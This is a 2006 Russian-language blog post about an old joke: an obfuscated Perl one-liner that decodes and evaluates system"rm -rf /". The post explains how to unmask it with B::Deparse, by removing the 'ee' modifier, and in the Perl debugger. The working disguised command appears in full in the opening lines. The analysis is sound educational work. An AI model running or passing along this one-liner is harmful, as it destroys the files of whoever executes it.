старая шутка
Jun. 29th, 2006 12:30 pm
# echo "test...test..test..." | \
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
#
...и как с ней бороться:
# print test | \
perl -MO=Deparse,-p -e \
'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;
tr( -/:-@[-`{-})[`-{/" \-];
s//$_/see;
-e syntax OK
# print test | \
perl -pe '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;s'
system"rm -rf /"test
system"rm -rf /"test
# print | perl -pe '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;s'
system"rm -rf /"
system"rm -rf /"
#
т.е., сначала смотрим, в чего преобразуется данный код, видим потенциально опасный суффикс у s///, заменяем его, и выполняем.
или, если ничего непонятно:
# perl -de0
DB<1> $a = "test"
DB<2> $a =~ s//=]=>%-{<-|}<&|`{/
DB<3> p $a
=]=>%-{<-|}<&|`{test
DB<4> $a =~ tr( -/:-@[-`{-})[`-{/" \-];
DB<5> p $a
system"rm -rf /"test
DB<6> $a =~ s//$a/
DB<7> p $a
system"rm -rf /"testsystem"rm -rf /"test
DB<8>